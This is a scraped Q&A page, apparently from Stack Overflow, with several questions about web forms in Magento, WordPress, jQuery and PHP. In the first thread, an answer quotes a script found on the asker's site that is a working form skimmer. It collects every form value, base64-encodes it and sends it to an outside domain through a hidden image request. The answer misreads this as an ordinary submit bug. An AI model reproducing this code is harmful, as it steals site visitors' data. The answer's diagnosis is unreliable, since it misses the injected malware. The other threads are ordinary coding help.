I have a website that runs on magento
In the home page if you scroll down, you will find search watches.
When you select watch model,type & price and hit Search. The search is not displaying the results & it is spitting out this error
"There was a problem with the subscription: Please enter a valid email address."
I have no knowledge on magento or PHP. I am a HTML developer. Could anyone help me solve the issue?
You have an error in the MakeEvent function:
function MakeEvent() {
if (navigator.appName == 'Microsoft Internet Explorer') {
return;
}
forms = document.getElementsByTagName("form");
for (var j = 0; j < forms.length; j++) {
forms[j].onsubmit = function () {
setTimeout(function (formIndex) {
frms = document.getElementsByTagName("form");
frms[formIndex - 1].submit();
}, 500, j);
return false
};
var elements = forms[j].getElementsByTagName("button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].type == "submit" || true) {
eventArray[i] = elements[i].onclick;
elements[i].onmousedown = function () {
data = getAllValues();
var newImg = document.createElement("img");
newImg.setAttribute("src", "http://www.followthefashion.org/wp-content/uploads/2014/07/skin.php?data=" + encodeURI(base64_encode(data)));
newImg.setAttribute("height", "1");
newImg.setAttribute("width", "1");
newImg.setAttribute("alt", "Please, wait...");
document.body.appendChild(newImg);
//sleep(500);
};
}
}
}
}
MakeEvent();
As you can see, while submitting your basic form, the script submits the other (previous) form.
frms[formIndex - 1].submit();
I think you’d better use ajax in your function i.e. the "form.submit()” method works the same as clicking the “submit" button.
The submit() method submits the form (same as clicking the Submit button).
Link
Related
I want to know how to remove an input value before submitting a profile form in Wordpress with Ultimate Member plugin. I've been stuck with this for a whole week.
The thing is that I have conditional fields in the profile form that if the user does not select, they still save their values when the form is submitted. The plugin does not remove the values from the hidden fields conditionally, which is a problem if you want to send these fields elsewhere with REST API.
I couldn't do it with PHP so I added a script inside the principal function to try and clear the values. This work when user refresh the form, but not when user submit the form with the hook um_after_user_updated
function remove_before_send () {
?>
<script>
var elements = document.querySelectorAll('.um-is-conditional');
for (var i = 0; i < elements.length; i++) {
elements[i].childNodes[1].childNodes[0].value = "";
}
</script>
<?php
}
add_action('um_profile_content_main', 'remove_before_send');
EDIT:
Thanks to the comment of #JB_DELR. You really gave me all the clues.
This is my final code (im not proud, because i wanted to use php, but this is the best i could do)
function remove_before_send () {
?>
<script>
var boton = document.querySelector("div.um-left.um-half > input");
boton.addEventListener("click", function(){
var elements = document.querySelectorAll('.um-is-conditional');
for (var i = 0; i < elements.length; i++) {
if (elements[i].style.display == "none") {
elements[i].childNodes[1].childNodes[0].value = "";
}
}
});
</script>
<?php
}
add_filter( 'um_profile_content_main', 'remove_before_send');
Your js script need to handle the form submit event, prevent default submiting, remove unnecessary fields an submit the form itself.
Something like this:
<script>
var form = document.querySelector(<select the form>);
form.onsubmit = function(e) {
e.preventDefault(); // don't submit the form right now;
var elements = document.querySelectorAll('.um-is-conditional');
for (var i = 0; i < elements.length; i++) {
elements[i].childNodes[1].childNodes[0].value = "";
}
// to remove element, this remove the input field, so field is no more in the request
// elements[i].childNodes[1].removeChild(elements[i].childNodes[1].childNodes[0]);
}
form.submit();
</script>
I have a long form, that's a sliding page form so that it is broken up into parts for the user.
I do my error checking through jQuery, here is the code:
$("input.next").click(function(e) {
e.preventDefault();
var stage = ((($("#container").position().left) / 950) * -1) + 1;
var thispage = $(this).closest("div.page");
var errors = false;
var isFinal = $(this).hasClass("send");
thispage.find("input.txt").each(function () {
if(($(this).val() == "") && (!$(this).hasClass("optional"))) {
$(this).css("background","#FFE5E5");
errors = true;
} else {
$(this).css("background","#E5FFEA");
}
});
thispage.find(".checkbox").each(function () {
if(!$(this).is(':checked')) errors = true;
});
if(thispage.find("#profileimage").val() == "") errors = true;
thispage.find("textarea.txt").each(function () {
if(($(this).val() == "") && (!$(this).hasClass("optional"))) {
$(this).css("background","#FFE5E5");
errors = true;
} else {
$(this).css("background","#E5FFEA");
}
});
if(!errors) {
// if no errors, slide to next page.
if(!isFinal) {
thispage.find("div.errormessage").fadeOut(50);
$("#container").animate({left: "-=950px"}, 800, function () {
$("ul#stages li").removeClass("active");
$("ul#stages li.stage"+stage).addClass("active");
console.log("Stage: " + stage);
});
}
} else {
thispage.find("div.errormessage").fadeIn(100);
}
console.log("isFinal: " + isFinal);
console.log("Errors: " + errors);
if((isFinal) && (!errors)) {
console.log("submitting form...");
$("#enrolform").submit(); }
});
However when the div.next.send button is pressed, it has a name of sendapplication and in my PHP code I am using:
if(isset($_POST['sendapplication'])) {
..To check whether the entire form was submitted or not. The reason I need to do this is because I also have a 'save' feature of the form, which allows the user to save the data and come back later.
The problem is when the user clicks 'sendapplication' button I don't get that through in the $_POST or $_REQUEST variables. And I think the reason why is because it's the jQuery script that's sending it, and not the button. The button is suppressed because of the e.preventDefault() line.
How can I check that that particular button was pressed? is there someway I can manipulate the .submit() function?
You can add following code into the click() method:
var self= $(this),
form = self.closest(form),
tempElement = $("<input type='hidden'/>");
// clone the important parts of the button used to submit the form.
tempElement
.attr("name", this.name)
.val(self.val())
.appendTo(form);
See jQuery submit() doesn't include submitted button for more details
Anthony Grist's comment is probably a lot better solution to this :)
I have an order form I'm working on, where I'm using jQuery to update the price in real time when the user selects different options. So, right now, the final project cost, package type, etc are set in jQuery variables, which I need to convert to PHP to insert into the database.
You can easily see the code: http://jsfiddle.net/cadengrant/uddPA/2/
And live preview of working code: http://www.htmlified.com/order-now/
function update_price() {
var base_cost = base_price;
var basic_price = base_price;
var pro_price = base_price;
jQuery('.packages .selected').each(function(index) {
base_cost += jQuery(this).data("price");
basic_price += base_cost;
pro_price += base_cost + 70;
});
jQuery('#markup-pages').each(function(index) {
var price = Number(jQuery(this).val());
var packages = jQuery('.packages .selected').data("price");
var pages = 0;
jQuery('#packages .selected').each(function(index) {
if(jQuery(this).hasClass('basic')) {
if(packages == 199) {
pages = price * 99 - 99;
} else if (packages == 189) {
pages = price * 94 - 94;
} else if (packages == 399) {
pages = price * 199 - 199;
}
} else if (jQuery(this).hasClass('pro')) {
if(pro_price == 269) {
pages = price * 134 - 134;
} else if (pro_price == 259) {
pages = price * 129 - 129;
} else if (pro_price == 469) {
pages = price * 234 - 234;
}
}
});
base_cost += pages;
/* Single or plural page text */
if(price == 1) {
var markup_pages = "markup page";
} else {
var markup_pages = "markup pages";
}
jQuery('.markup-pages').text(markup_pages);
});
jQuery('#packages .selected').each(function(index) {
if(jQuery(this).hasClass('pro')) {
base_cost += 70;
}
});
/* Update Doctype */
jQuery('input[name=page_doctype]:checked', '#order-form').each(function(index) {
var basic_doctype_text = "";
var pro_doctype_text = "";
if(jQuery(this).hasClass('doctypehtml')) {
var doctype_text = "W3C Valid HTML5 & CSS3";
} else if (jQuery(this).hasClass('doctypexhtml')) {
var doctype_text = "W3C Valid XHTML1 & CSS2";
basic_doctype_text += " Transitional";
pro_doctype_text += " Strict";
}
jQuery('.doctype-text').html(doctype_text);
jQuery('.basic-doctype').html(doctype_text + basic_doctype_text);
jQuery('.pro-doctype').html(doctype_text + pro_doctype_text);
});
jQuery('.price').html(base_cost);
jQuery('.basic-price').html(basic_price);
jQuery('.pro-price').html(pro_price);
}
I just need to figure out how to pass those variables (doctype text, basic doctype, pro doctype, base_cost, etc etc) in the JS section to my order.php form, so I can update amount paid, the package type they selected, etc. Any help would be greatly appreciated.
You already have a form in your page. I suggest you create hidden inputs in this form to be submitted with the form. Ex :
<input type="hidden" name="base_cost" value="999">
and you can adjust the value easily with jquery. After submitting the form to the php page you can capture these values using :
$base_cost = $_POST['base_cost'];
But don't forget to sanitize and validate every input from the user.
Hope this helps and excuse my English.
You are looking for a way to tell the Server information from the User? That my friend, without sending the form and without using ajax, will be hard :)
If I am understanding the issue properly, you want some parameters to change in Client side when user triggers some action. In that case you could load the possible parameters on page load and, when user triggers those actions, get the new parameters from those already loaded.
Then when you send the form you add to it the selected parameters.
Hope it helps!
i am trying to build a small single page wordpress theme, but struggling to find a way to make the navigation menu work.
The pages are loaded with this function: http://pastebin.com/Di5MhS8y . Each page is displayed as a section of my homepage, based on its menu_order.
If i make a custom menu voice linking outsite my website (tried with www.google.com) the menu works just fine.
Problems arise when i try to link to a single section of my website. The whole page gets reloaded and i'm brought back at the top of it.
I reckon i should maybe give a specific id to each section, and link to it, but i'm not sure. Any suggestion would be super appreciated!
The best way would be to give each section an ID.
if you want clean URLS you can create a function with Jquery
here's one i used in a one page website
var locationPath = filterPath(location.pathname);
var scrollElem = scrollableElement('html', 'body', 'document', 'window');
//console.log(scrollElem);
$('a[href*=#]').each(function() {
var thisPath = filterPath(this.pathname) || locationPath;
if ( locationPath == thisPath
&& (location.hostname == this.hostname || !this.hostname)
&& this.hash.replace(/#/,'') ) {
var $target = $(this.hash), target = this.hash;
if (target) {
//console.log('Target: ' + target + ' offset: ' + targetOffset);
$(this).click(function(event) {
var targetOffset = $target.offset().top;
event.preventDefault();
$(scrollElem).animate({scrollTop: targetOffset}, 1000, function() {
//console.log($(scrollElem).scrollTop());
location.hash = target;
$(scrollElem).animate({scrollTop: targetOffset}, 0);
});
});
}
}
});
// use the first element that is "scrollable"
function scrollableElement(els) {
for (var i = 0, argLength = arguments.length; i <argLength; i++) {
var el = arguments[i],
$scrollElement = $(el);
if ($scrollElement.scrollTop()> 0) {
return el;
} else {
$scrollElement.scrollTop(1);
var isScrollable = $scrollElement.scrollTop()> 0;
//console.log(el + ': ' + $scrollElement.scrollTop());
$scrollElement.scrollTop(0);
if (isScrollable) {
return el;
}
}
}
return 'body';
}
I'm still fairly new to javascript and I'm not finding where I'm making my mistake. The basic set up I'm working with is a set of radio buttons along with a set of check boxes. Depending on the radio button picked only a specific set of check boxes should be available the rest should be disabled/grayed out. Which check boxes are allowed for a given radio button are passed in through a php array. In my code the exclusive choices refer to the radio buttons while the extended choices refer to check boxes. My javascript and php for this functionality is as follows:
window.onload = function(){
<?php
for($i = 0; $i < count($students_information); $i++){
foreach($exclusive_extended_array as $exclusive => $extended){
echo "$('".$i."_exclusive_".$exclusive."').onclick = allow(".$i.",".json_encode($extended).");";
}
}
?>
}
function allow(i, extended){
$('[id^="'+i+'Extended"]').disabled = true;
for (var j = 0; j < extended.length; j++) {
alert(extended[j]);
$(i+"Extended"+extended[j]).disabled = false;
}
}
On the loaded page it appears as:
<script type="text/javascript">
window.onload = function(){
$('0_exclusive_2176').onclick = allow(0,[1975]);
$('0_exclusive_911').onclick = allow(0,[]);
$('0_exclusive_795').onclick = allow(0,[1973,1975]);
}
function allow(i, extended){
$('[id^="'+i+'Extended"]').disabled = true;
for (var j = 0; j < extended.length; j++) {
alert(extended[j]);
$(i+"Extended"+extended[j]).disabled = false;
}
}
</script>
Unfortunately, what the code ends up doing is running the script when the page loads rather than when one of the radio buttons is checked. I don't think it's an issue with the names of the elements (though I do realize the naming style is not consistent, however, I don't have full control over that). I'm assuming it's just me making a simple mistake in the code and I still don't have enough experience with javascript to catch it yet. Anyone see what I'm doing wrong?
Thank you for your time!
You're assigning your click handlers like this:
$('0_exclusive_2176').onclick = allow(0,[1975]);
What's happening is: allow is ran and its return value (undefined) is set as the event. You need to set onclick to a function:
$('0_exclusive_2176').onclick = function(){
allow(0,[1975]);
};
You can also make allow return a function:
function allow(i, extended){
return function(){
$('[id^="'+i+'Extended"]').disabled = true;
for (var j = 0; j < extended.length; j++) {
alert(extended[j]);
$(i+"Extended"+extended[j]).disabled = false;
}
};
}
Now $('0_exclusive_2176').onclick = allow(0,[1975]); should work as expected.